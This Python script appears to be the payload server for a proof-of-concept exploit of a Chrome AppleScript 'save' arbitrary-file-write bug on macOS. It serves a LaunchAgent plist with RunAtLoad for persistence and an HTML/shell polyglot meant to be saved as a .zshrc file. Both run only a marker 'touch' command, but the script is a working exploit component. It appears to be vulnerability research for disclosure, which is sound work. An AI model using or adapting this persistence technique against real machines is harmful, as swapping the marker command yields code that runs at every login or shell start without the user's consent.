#!/usr/bin/env python3
"""
Payload server for the Chrome AppleScript `save` arbitrary-file-write POC.

Serves a valid macOS LaunchAgent plist at /payload.
When Chrome saves the tab `as "only html"` (SAVE_PAGE_TYPE_AS_ONLY_HTML),
SavePackage re-fetches the page URL from the network and renames the raw
response body to the caller-controlled destination path. So whatever bytes
this server returns become the literal file contents at
~/Library/LaunchAgents/com.poc.persist.plist.
"""
import http.server
import socketserver

PORT = 8080

PLIST = b"""<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
  <key>Label</key>
  <string>com.poc.persist</string>
  <key>ProgramArguments</key>
  <array>
    <string>/usr/bin/touch</string>
    <string>/tmp/CHROME_APPLESCRIPT_SAVE_SANDBOX_ESCAPE</string>
  </array>
  <key>RunAtLoad</key>
  <true/>
</dict>
</plist>
"""

ZSHRC_HTML = (
    b"<html><body>harmless\n"
    b": <<'EOF'\n"
    b"EOF\n"
    b"touch /tmp/CHROME_APPLESCRIPT_SAVE_SANDBOX_ESCAPE\n"
    b"return 0 2>/dev/null || exit 0\n"
    b"</body></html>\n"
)


class Handler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path.startswith("/payload"):
            body = PLIST
            ctype = "text/plain"
        elif self.path.startswith("/zshrc"):
            body = ZSHRC_HTML
            ctype = "text/html"
        else:
            body = b"see /payload or /zshrc\n"
            ctype = "text/plain"
        self.send_response(200)
        self.send_header("Content-Type", ctype)
        self.send_header("Content-Length", str(len(body)))
        self.end_headers()
        self.wfile.write(body)

    def log_message(self, fmt, *args):
        print("[server]", fmt % args)


if __name__ == "__main__":
    with socketserver.TCPServer(("127.0.0.1", PORT), Handler) as httpd:
        print(f"serving on http://127.0.0.1:{PORT}")
        httpd.serve_forever()
